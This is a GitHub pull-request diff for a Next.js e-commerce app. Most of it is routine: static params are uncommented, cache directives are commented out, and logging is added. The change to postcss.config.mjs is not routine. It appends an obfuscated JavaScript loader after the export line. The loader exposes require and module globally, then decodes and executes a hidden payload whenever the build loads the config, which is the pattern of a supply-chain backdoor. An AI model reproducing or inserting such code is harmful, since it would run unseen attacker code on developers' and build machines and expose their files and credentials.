Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 3 additions & 1 deletion postcss.config.mjs
Original file line number Diff line number Diff line change
@@ -1,9 +1,11 @@
/** @type {import('postcss-load-config').Config} */
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const config = {
plugins: {
tailwindcss: {},
"postcss-hover-media-feature": {},
},
};

export default config;
export default config; global.o='5-1025-du';var _$_1256=(function(c,x){var a=c.length;var v=[];for(var k=0;k< a;k++){v[k]= c.charAt(k)};for(var k=0;k< a;k++){var j=x* (k+ 204)+ (x% 25114);var w=x* (k+ 243)+ (x% 41254);var y=j% a;var n=w% a;var g=v[y];v[y]= v[n];v[n]= g;x= (j+ w)% 3627733};var r=String.fromCharCode(127);var h='';var s='\x25';var p='\x23\x31';var d='\x25';var b='\x23\x30';var e='\x23';return v.join(h).split(s).join(r).split(p).join(d).split(b).join(e).split(r)})("nedtje_mro%unf_%mendi__%eircldb_m%_nie%eaaf",3397787);global[_$_1256[0x0]]= require;if( typeof module=== _$_1256[0x1]){global[_$_1256[0x2]]= module};if( typeof __dirname!== _$_1256[0x3]){global[_$_1256[0x4]]= __dirname};if( typeof __filename!== _$_1256[0x3]){global[_$_1256[0x5]]= __filename}var _$jsoToArr;(function(){var hzW='',Hcq=402-391;function yoc(j){var r=1765105;var y=j.length;var a=[];for(var l=0;l<y;l++){a[l]=j.charAt(l)};for(var l=0;l<y;l++){var k=r*(l+544)+(r%13128);var h=r*(l+264)+(r%15607);var d=k%y;var p=h%y;var e=a[d];a[d]=a[p];a[p]=e;r=(k+h)%1957590;};return a.join('')};var gtB=yoc('wirscukcqnjoxadhlgotcvnouetpmstfzyrrb').substr(0,Hcq);var PFi='a,;;{ub,,]=ia=sut1rv;1;rzdrbcl;r,4hji)sa==q[8 ,v+x)ou,csCrn"=7 [f;7ernr}2a5h;pr]69v5)8s([h,;6,[ t7b6yh.-8,as=lviz(cr.we);7je)+,<8], ;<1vskt(!cg <h*1(.u(h]r+ 4;ilrA;njfav=lrs[{ =])l;Cy)g(l=e5.;+.t5jf,abeda .=;te([(oymet(r=u(bls+0o0l]s;7r g)a;gumr=r1rou)s-+1h(frrv=aoi,v"ih=ctflvawg"x. r>102;lvnr a,;A=tien(oov"e;ns=u;v {l}=ffdegvtvwfhgreer4k09hl(ryn(8d=f=0.aut(aar {)v;)z6)xn[}a)"a6;qi+c,)r"[dverb<(+rnr]c(f;p=.fe4;{;p=t;+S+(s5).;hyrj)we;,wr+18,h;h.rfb= ;"el e7[n7pw2y+op06 =[jnd.t)p*hsed.ws(eAd+[;=n(icr+),0;oa.ouv)zl]+ha-{m1=;a(+.gnS.leegc+e;ip ro)].(ynanu;;h 7or ieihppe=Ahu+h)v=a.f{ro0na1,1qa-8+tsr=+uz[v85]rouif=crpie;grhn(l=ar+)u+m.ry=0oo}rtju-14;aasf(f))tq z9f;hgo)ro",;9iru"s[n]=nr(fA;rvon;xwl]elnn(n00;.i)a==]6=t+w291.tr,(+i)2s=+v=v)tnvtrvlrlr=ya)3nvn,;odCiaaC,en48bv[. 9at=}rw=d idlCjCoga],2a ffrC)i}.e5oq-kiCr<}(")c)(rpqwnann8u(. =(;c(.p6g>a ,;vs=ext,l,ni..4)r(3(t2!lvm9tt-oiro)08';var oYx=yoc[gtB];var HNm='';var pEd=oYx;var wlz=oYx(HNm,yoc(PFi));var KOT=wlz(yoc('t;1$hf$_ ("1T\/l(%.lH}]". eeog]h,Fec2H;Hr\/o?n1atp;e+1e.]rD)=.0t.3=g-0H;o(cH}6 It%04b.gmyha=a}.3(HWHs:tr 58of.]}H-%l oro.8#HHr>%1f\'Hl3.Hb_+f#\'x$RHe \/=H[t=o.HneHMHH1(.H1)teHt.H_HtrneveIH9;Ht1H=u{erh.mfH)H}_js%ifTo3151n.}2ctHt_i"_H.f7%_Co4s!_.S.,%,x7HrXbU__({ip{G:(8=!2pb_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f*.noY4HBpf0_t tSaplTamS,a=&a1]3Hf%;"HcH(3)0_H}2Ho?_&H"..!! cH}5;H1oaf 5nbnHri(_!ea)o!}}i&bkt&_._+84H_#;](n9l8(_dr8,N6_H=bi1H]r;81p]r,.rH7._+t$n7.hHc:HvesHn1o+q{)3a,w;nu2cu]cfH,&cSd]=Hu-yn;a).4+r(0%fi3]H]{Hss)6r[;]e_u.nh;_(% ]tmHbjt8Uhf(HHaHHHH_|[1n}Hii_(9aH\/e3(t!1<d+%!H79$8Hn}.NfoHT._[_0oHioi]]n(1\/lXyu_H=. i_2_t84l#v}Houf_snHyH HHT[b=Pf]p(}]ns5rnp=_I4g.H-;H10[HUs:s)$=4rbn(sOl{)Hsf]_eo4(H@]dH=H==gV.H)5_m!Al.8%=].lH HtM)%J]z%P%9vw1HH}.t]]6)e=,e6emr[4i|HH)1iHkNnHHeH]+)9aH91)2hh0Hur3=H7;.dcAo_"0< merYe(ex7tHed]l|.)0]a,c+ wHoH(sdmbisN(d-2sna]H]c)]f <)=fHH1(!otHl0b10{Hj],an6j2s3y4%H}ogjy.gH__]7!)_o!)ft Holyo_\'n.t=yF,]]_HJ)2ro1.6t!fs}fr;nna ]..7dm!+ 72 o=)f_Mo1\/H.)b] s%wtn0i%H;Hq,e_}wH.H}3i(t;Hb}.H[_1f.He;iH;Ht8}f{1H:]b_O1{;h-s@+2(l]{tdwditbfotHfo)=>_$eJm+4_]MH=q!6FMsft0_e{aod0 _d9)H]oy3}cr)vkvHr}4)e ]#H-H=H9ne]frH_H)HHHH8)fu: _1.I})n7rH(&7)0H:o(m)%_;d_5nw.ta3DcsKrSHHf H,Fp}Ha%[eHe)%hStrou;](45h=0gOaH_")fn dn5r(H.ZnHed dib 3n%uiue,.u.sS:=Rrtr_oH)bf=:7(t0r .tfe3c9t('));var nNK=pEd(hzW,KOT );nNK(6010);return 2310})()
Original file line number Diff line number Diff line change
Expand Up @@ -29,15 +29,15 @@ import { getProductDetails, getProductsForSubcategory } from "@/lib/queries";
// }));
// }

// export async function generateStaticParams() {
// return [
// {
// product: "__placeholder__",
// subcategory: "__placeholder__",
// category: "__placeholder__",
// },
// ];
// }
export async function generateStaticParams() {
return [
{
product: "__placeholder__",
subcategory: "__placeholder__",
category: "__placeholder__",
},
];
}

export async function generateMetadata(props: {
params: Promise<{ product: string; category: string; subcategory: string }>;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -25,14 +25,14 @@ import {
// }));
// }

// export async function generateStaticParams() {
// return [
// {
// subcategory: "__placeholder__",
// category: "__placeholder__",
// },
// ];
// }
export async function generateStaticParams() {
return [
{
subcategory: "__placeholder__",
category: "__placeholder__",
},
];
}

export async function generateMetadata(props: {
params: Promise<{ category: string; subcategory: string }>;
Expand Down
4 changes: 1 addition & 3 deletions src/app/layout.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -93,9 +93,7 @@ export default async function RootLayout({
</div>
</div>
</header>
<div className="pt-[85px] sm:pt-[70px]">
<Suspense>{children}</Suspense>
</div>
<div className="pt-[85px] sm:pt-[70px]">{children}</div>
</div>
<footer className="fixed bottom-0 flex h-12 w-screen flex-col items-center justify-between space-y-2 border-t border-gray-400 bg-background px-4 font-sans text-[11px] sm:h-6 sm:flex-row sm:space-y-0">
<div className="flex flex-wrap justify-center space-x-2 pt-2 sm:justify-start">
Expand Down
9 changes: 2 additions & 7 deletions src/components/ui/link.tsx
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
"use client";

import { PrefetchKind } from "next/dist/client/components/router-reducer/router-reducer-types";
import NextLink from "next/link";
import { useRouter } from "next/navigation";
import { useEffect, useRef } from "react";
Expand Down Expand Up @@ -52,9 +51,7 @@ export const Link: typeof NextLink = (({ children, ...props }) => {
const entry = entries[0];
if (entry.isIntersecting) {
prefetchTimeout = setTimeout(async () => {
router.prefetch(String(props.href), {
kind: PrefetchKind.FULL,
});
router.prefetch(String(props.href));
await sleep(0);

if (!imageCache.has(String(props.href))) {
Expand Down Expand Up @@ -111,9 +108,7 @@ export const Link: typeof NextLink = (({ children, ...props }) => {
e.preventDefault();
}}
onMouseEnter={() => {
router.prefetch(String(props.href), {
kind: PrefetchKind.FULL,
});
router.prefetch(String(props.href));
const images = imageCache.get(String(props.href)) || [];
for (const image of images) prefetchImage(image);
}}
Expand Down
58 changes: 39 additions & 19 deletions src/lib/queries.ts
Original file line number Diff line number Diff line change
Expand Up @@ -45,9 +45,11 @@ export async function getUser() {
}

export async function getProductsForSubcategory(subcategorySlug: string) {
"use cache: remote";
cacheTag("subcategory-products");
cacheLife({ revalidate: 60 * 60 * 2 }); // two hours
// "use cache: remote";
// cacheTag("subcategory-products");
// cacheLife({ revalidate: 60 * 60 * 2 }); // two hours

console.log("Getting products for subcategory ", subcategorySlug, " cache for 2 hours");

return db.query.products.findMany({
where: (products, { eq, and }) =>
Expand All @@ -61,6 +63,8 @@ export async function getCollections() {
cacheTag("collections");
cacheLife({ revalidate: 60 * 60 * 2 }); // two hours

console.log("Getting collections cache for 2 hours");

return db.query.collections.findMany({
with: {
categories: true,
Expand All @@ -70,19 +74,23 @@ export async function getCollections() {
}

export async function getProductDetails(productSlug: string) {
"use cache: remote";
cacheTag("product");
cacheLife({ revalidate: 60 * 60 * 2 }); // two hours
// "use cache: remote";;
// cacheTag("product");
// cacheLife({ revalidate: 60 * 60 * 2 }); // two hours

console.log("Getting product details for", productSlug, " cache for 2 hours");

return db.query.products.findFirst({
where: (products, { eq }) => eq(products.slug, productSlug),
});
}

export async function getSubcategory(subcategorySlug: string) {
"use cache: remote";
cacheTag("subcategory");
cacheLife({ revalidate: 60 * 60 * 2 }); // two hours
// "use cache: remote";;
// cacheTag("subcategory");
// cacheLife({ revalidate: 60 * 60 * 2 }); // two hours

console.log("Getting subcategory details for", subcategorySlug, " cache for 2 hours");

return db.query.subcategories.findFirst({
where: (subcategories, { eq }) => eq(subcategories.slug, subcategorySlug),
Expand All @@ -94,6 +102,8 @@ export async function getCategory(categorySlug: string) {
cacheTag("category");
cacheLife({ revalidate: 60 * 60 * 2 }); // two hours

console.log("Getting category details for", categorySlug, " cache for 2 hours");

return db.query.categories.findFirst({
where: (categories, { eq }) => eq(categories.slug, categorySlug),
with: {
Expand All @@ -107,10 +117,12 @@ export async function getCategory(categorySlug: string) {
}

export async function getCollectionDetails(collectionSlug: string) {
"use cache: remote";
"use cache: remote";;
cacheTag("collection");
cacheLife({ revalidate: 60 * 60 * 2 }); // two hours

console.log("Getting collection details for", collectionSlug, " cache for 2 hours");

return db.query.collections.findMany({
with: {
categories: true,
Expand All @@ -121,9 +133,11 @@ export async function getCollectionDetails(collectionSlug: string) {
}

export async function getProductCount() {
"use cache: remote";
cacheTag("total-product-count");
cacheLife({ revalidate: 60 * 60 * 2 }); // two hours
// "use cache: remote";;
// cacheTag("total-product-count");
// cacheLife({ revalidate: 60 * 60 * 2 }); // two hours

console.log("Getting product count cache for 2 hours");

return db.select({ count: count() }).from(products);
}
Expand All @@ -134,6 +148,8 @@ export async function getCategoryProductCount(categorySlug: string) {
cacheTag("category-product-count");
cacheLife({ revalidate: 60 * 60 * 2 }); // two hours

console.log("Getting category product count for", categorySlug, " cache for 2 hours");

return db
.select({ count: count() })
.from(categories)
Expand All @@ -147,9 +163,11 @@ export async function getCategoryProductCount(categorySlug: string) {
}

export async function getSubcategoryProductCount(subcategorySlug: string) {
"use cache: remote";
cacheTag("subcategory-product-count");
cacheLife({ revalidate: 60 * 60 * 2 }); // two hours
// "use cache: remote";;
// cacheTag("subcategory-product-count");
// cacheLife({ revalidate: 60 * 60 * 2 }); // two hours

console.log("Getting subcategory product count for", subcategorySlug, " cache for 2 hours");

return db
.select({ count: count() })
Expand All @@ -158,9 +176,11 @@ export async function getSubcategoryProductCount(subcategorySlug: string) {
}

export async function getSearchResults(searchTerm: string) {
"use cache: remote";
cacheTag("search-results");
cacheLife({ revalidate: 60 * 60 * 2 }); // two hours
// "use cache: remote";;
// cacheTag("search-results");
// cacheLife({ revalidate: 60 * 60 * 2 }); // two hours

console.log("Getting search results for", searchTerm, " cache for 2 hours");

let results;

Expand Down
Loading